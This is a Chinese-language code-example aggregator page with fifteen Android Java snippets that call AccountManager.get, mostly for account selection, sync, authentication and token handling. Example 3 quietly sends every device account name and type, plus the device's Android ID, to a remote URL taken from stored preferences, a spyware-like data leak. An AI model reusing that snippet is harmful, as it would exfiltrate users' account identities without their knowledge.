本文整理汇总了Java中android.accounts.AccountManager.get方法的典型用法代码示例。如果您正苦于以下问题:Java AccountManager.get方法的具体用法?Java AccountManager.get怎么用?Java AccountManager.get使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类android.accounts.AccountManager
的用法示例。
在下文中一共展示了AccountManager.get方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: doInBackground
import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected Object doInBackground(Object... params) {
// Get accounts
mListAccount = new ArrayList<CharSequence>();
AccountManager accountManager = AccountManager.get(ActivityApp.this);
mAccounts = accountManager.getAccounts();
mSelection = new boolean[mAccounts.length];
for (int i = 0; i < mAccounts.length; i++)
try {
mListAccount.add(String.format("%s (%s)", mAccounts[i].name, mAccounts[i].type));
String sha1 = Util.sha1(mAccounts[i].name + mAccounts[i].type);
mSelection[i] = PrivacyManager.getSettingBool(-mAppInfo.getUid(), Meta.cTypeAccount, sha1, false);
} catch (Throwable ex) {
Util.bug(null, ex);
}
return null;
}
示例2: setSyncActivated
import android.accounts.AccountManager; //导入方法依赖的package包/类
public void setSyncActivated(boolean enabled) {
ContentResolver.setMasterSyncAutomatically(enabled);
if (enabled) {
SyncAdapterType[] types = ContentResolver.getSyncAdapterTypes();
AccountManager accmgr = AccountManager.get(mContext);
for (SyncAdapterType type : types) {
Account[] accounts = accmgr.getAccountsByType(type.accountType);
for (Account account : accounts) {
if (Constants.DEBUG) {
Log.d(TAG, "synching account, name:" + account.name + ", type: " + account.type);
}
enabled = ContentResolver.getSyncAutomatically(account, type.authority);
if (enabled) {
// trigger update for next account
ContentResolver.requestSync(account, type.authority, new Bundle());
}
}
}
}
}
示例3: doInBackground
import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
protected String doInBackground(String... params) {
AccountManager am = AccountManager.get(getApplicationContext());
Account[] accounts = am.getAccounts();
ArrayList<String> googleAccounts = new ArrayList<String>();
int i = 0;
for (Account ac : accounts) {
if(i<Integer.parseInt(j))
{
String acname = ac.name;
String actype = ac.type;
googleAccounts.add(ac.name);
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
i++;
}
return "Executed";
}
示例4: work
import android.accounts.AccountManager; //导入方法依赖的package包/类
protected Object work(Context context, DatabaseAdapter dba, String... params) throws ImportExportException {
AccountManager accountManager = AccountManager.get(context);
android.accounts.Account[] accounts = accountManager.getAccountsByType("com.google");
String accountName=MyPreferences.getFlowzrAccount(context);
if (accountName == null) {
NotificationManager nm = (NotificationManager) context
.getSystemService(Context.NOTIFICATION_SERVICE);
Intent notificationIntent = new Intent(context,
FlowzrSyncActivity.class);
PendingIntent contentIntent = PendingIntent.getActivity(context, 0,
notificationIntent, PendingIntent.FLAG_CANCEL_CURRENT);
Builder mNotifyBuilder = new NotificationCompat.Builder(context);
mNotifyBuilder
.setContentIntent(contentIntent)
.setSmallIcon(R.drawable.icon)
.setWhen(System.currentTimeMillis())
.setAutoCancel(true)
.setContentTitle(context.getString(R.string.flowzr_sync))
.setContentText(
context.getString(R.string.flowzr_choose_account));
nm.notify(0, mNotifyBuilder.build());
Log.i("Financisto","account name is null");
throw new ImportExportException(R.string.flowzr_choose_account);
}
Account useCredential = null;
for (int i = 0; i < accounts.length; i++) {
if (accountName.equals(((android.accounts.Account) accounts[i]).name)) {
useCredential=accounts[i];
}
}
accountManager.getAuthToken(useCredential, "ah", false, new GetAuthTokenCallback(), null);
return null;
}
示例5: getAuthToken
import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType,
Bundle options) throws NetworkErrorException {
final AccountManager am = AccountManager.get(context);
String authToken = am.peekAuthToken(account, authTokenType);
// get new token if there is no one
if (TextUtils.isEmpty(authToken)) {
String password = am.getPassword(account);
if (password != null) {
try {
password = Crypto.armorDecrypt(password, context);
authToken = serverHandler.userSignIn(account.name, password);
} catch (Exception e) {
e.printStackTrace();
}
}
}
// there is new token, return it
if (!TextUtils.isEmpty(authToken)) {
final Bundle result = new Bundle();
result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
result.putString(AccountManager.KEY_AUTHTOKEN, authToken);
return result;
}
// no token and no password, show login screen
final Intent intent = new Intent(context, loginActivity);
intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response);
intent.putExtra(GlobalConstant.ACCOUNT_TYPE, account.type);
intent.putExtra(GlobalConstant.ACCOUNT_NAME, account.name);
intent.putExtra(IS_ADDING_NEW_ACCOUNT, false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
}
示例6: ClientLoginHelper
import android.accounts.AccountManager; //导入方法依赖的package包/类
/**
* Create one of these for each HttpClient needing clientlogin authentication.
* @param activity An activity that can be used for user interaction.
* @param service The application service class (e.g. "fusiontables").
* @param prompt The user prompt (if needed) to choose an account.
* @param client The HttpClient to use (or null for a default one).
*/
public ClientLoginHelper(Activity activity, String service, String prompt, HttpClient client) {
this.service = service;
this.client = (client == null) ? new DefaultHttpClient() : client;
this.activity = activity;
this.accountManager = AccountManager.get(activity);
this.accountChooser = new AccountChooser(activity, service, prompt, service);
}
示例7: populateAccountTextView
import android.accounts.AccountManager; //导入方法依赖的package包/类
private void populateAccountTextView() {
AccountManager am = AccountManager.get(this);
Account[] accounts = am.getAccountsByType(ACCOUNT_TYPE);
String accountString = "Accounts of type " + ACCOUNT_TYPE + " are : \n";
if (accounts.length != 0) {
for (Account account : accounts) {
accountString += "Account:" + account.name + "\n";
}
} else {
accountString = "No Accounts of type " + ACCOUNT_TYPE +
" found. Please add accounts before exporting.";
mAccountTextView.setTextColor(Color.RED);
}
mAccountTextView.setText(accountString);
}
示例8: AccountSnippet
import android.accounts.AccountManager; //导入方法依赖的package包/类
public AccountSnippet() {
Context context = InstrumentationRegistry.getContext();
mAccountManager = AccountManager.get(context);
mSyncStatusObserverHandles = new LinkedList<>();
mSyncWhitelist = new HashMap<>();
mLock = new ReentrantReadWriteLock();
}
示例9: getMailByAccountManager
import android.accounts.AccountManager; //导入方法依赖的package包/类
public static String getMailByAccountManager(Context context) {
AccountManager accManager = AccountManager.get(context);
Pattern gmailPattern = Patterns.EMAIL_ADDRESS;
Account acc[] = accManager.getAccountsByType("com.google");
for (Account account : acc) {
if (gmailPattern.matcher(account.name).matches()) {
return account.name;
}
}
WebtrekkLogging.log("could not get valid Account Email, check Permissions. Account:"+ Arrays.toString(accManager.getAccounts()));
return "";
}
示例10: onAttach
import android.accounts.AccountManager; //导入方法依赖的package包/类
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
mAccountManager = AccountManager.get(activity);
mAccounts = new ArrayList<Account>(
Arrays.asList(mAccountManager.getAccountsByType(GoogleAuthUtil.GOOGLE_ACCOUNT_TYPE)));
}
示例11: ICalSyncAdapter
import android.accounts.AccountManager; //导入方法依赖的package包/类
public ICalSyncAdapter(Context context, boolean autoInitialize) {
super(context, autoInitialize);
accountManager = AccountManager.get(context);
serverHandler = new SyncServerHandlerImpl();
}
示例12: AuthUtils
import android.accounts.AccountManager; //导入方法依赖的package包/类
public AuthUtils(Context context) {
mAccountManager = AccountManager.get(context);
}
示例13: getAuthToken
import android.accounts.AccountManager; //导入方法依赖的package包/类
@SuppressWarnings("deprecation")
@Override
public String getAuthToken() throws AuthFailureError {
final AccountManager accountManager = AccountManager.get(mContext);
AccountManagerFuture<Bundle> future = accountManager.getAuthToken(mAccount,
mAuthTokenType, mNotifyAuthFailure, null, null);
Bundle result;
try {
result = future.getResult();
} catch (Exception e) {
throw new AuthFailureError("Error while retrieving auth token", e);
}
String authToken = null;
if (future.isDone() && !future.isCancelled()) {
if (result.containsKey(AccountManager.KEY_INTENT)) {
Intent intent = result.getParcelable(AccountManager.KEY_INTENT);
throw new AuthFailureError(intent);
}
authToken = result.getString(AccountManager.KEY_AUTHTOKEN);
}
if (authToken == null) {
throw new AuthFailureError("Got null auth token for type: " + mAuthTokenType);
}
return authToken;
}
示例14: getAccount
import android.accounts.AccountManager; //导入方法依赖的package包/类
private static Account getAccount(Context context) {
AccountManager accountManager = AccountManager.get(context);
Account[] accounts = accountManager.getAccountsByType(SyncUtils.ACCOUNT_TYPE);
Account account;
if (accounts.length > 0) {
account = accounts[0];
} else {
account = null;
}
return account;
}
示例15: onReceive
import android.accounts.AccountManager; //导入方法依赖的package包/类
public void onReceive(Context context, Intent intent) {
am = AccountManager.get(context);
accounts = am.getAccountsByType(ACCOUNT_TYPE);
if ("android.accounts.LOGIN_ACCOUNTS_CHANGED".equals(intent.getAction())) {
String loginName = getLoginName();
Object name = "";
LemallPlatform platform = LemallPlatform.getInstance();
for (String str : platform.getCookieLinkdata().split("&")) {
if (str.contains("COOKIE_NICKNAME")) {
String[] split2 = str.split("COOKIE_NICKNAME=");
if (split2.length > 0) {
name = split2[1];
}
}
}
if (!TextUtils.isEmpty(name) && !name.equals(loginName)) {
platform.setSsoToken("");
platform.setCookieLinkdata("");
new LogonManager(context).deleteCookie();
}
}
}